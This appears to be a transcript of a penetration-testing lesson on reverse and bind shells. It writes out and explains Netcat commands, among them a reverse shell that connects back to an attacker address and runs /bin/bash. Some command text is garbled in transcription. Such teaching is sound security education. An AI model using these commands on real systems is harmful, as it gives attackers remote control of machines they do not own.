In this lesson, we're going to discuss remote shells,
which are essential tools for establishing
and maintaining control over a compromised system.
We'll cover two main types of remote shells:
Reverse Shells and Bind Shells.
We'll also break down the commands used
to create these shells,
so you can understand exactly what each part does.
First, let's talk about Reverse Shells.
A reverse shell is a type of remote shell
where the target machine initiates a connection
back to the attacker's machine.
This method is often used to bypass firewalls
and network security devices
as the outbound connection is typically
allowed through the firewall.
Again, just to reemphasize, in a reverse shell,
the connection is initiated from the compromised machine,
not the attacker's machine.
To create a reverse shell,
you can use various tools
and programming languages.
Here's an example, using Netcat,
if you are doing a pen test,
and let's assume your IP address is 10.0.0.2
and the target machine address is 10.0.0.3,
you would set up a listener using the following Netcat
command on your machine, NC-LVP 4444.
Now let's break this down.
NC simply calls the Netcat program.
The L option tells Netcat
to listen for incoming connections.
The V option enables verbose mode
providing more detailed output.
The P option specifies the port we would like to listen on,
which in this case would be 4444,
but it can be whatever you want.
Next, on the target machine,
you execute a command
to connect back to your machine.
In this case, the command would be
NC 10.0.0.2 4444
e/bin/bash.
Now, let's break this command down
that will be ran on the target machine.
NC calls the Netcat program
10.0.0.2 would be your IP address
or whatever machine you want to receive the connection on.
And then 4444 would be the port number to connect to,
which should match the port that you as the pentester
or attacker is listing on.
And then at the last part we have the -e option
pointing to the /bin/bash file,
which executes the bash program, AKA, the shell
upon connection, giving the attacker,
a shell on the target machine.
Next, let's discuss Bind Shells.
The Bind Shell is a type of remote shell
where the target machine opens a specific port
and listens for incoming connections from the attacker.
What this means is that the attacker
is the one initiating connection, not the target.
The attacker can then connect to this port to gain access.
Now, to create a bind shell using Netcat,
you start by setting up the compromised machine
to listen for connections in the same way
we just did earlier.
NC-LVP 4444
e/bin/bash.
Now, this time, on your machine as the pen tester,
you would initiate the connection
by running the following command
NC 10.0.0.3 4444,
and it's as simple as that.
So, remember understanding
and utilizing remote shells such as Reverse Shells
or Bind Shells are fundamental skills
in penetration testing.
Reverse Shells are initiated
by the compromised machine in order to bypass power,
are rules that typically have less outbound remote
connection restrictions.
A bind shell is when the attacker
or you as a pentester, initiates the connection
to the compromised host.
By knowing how to set up
and execute these shells,
you can maintain control over compromised systems
and navigate network defenses effectively.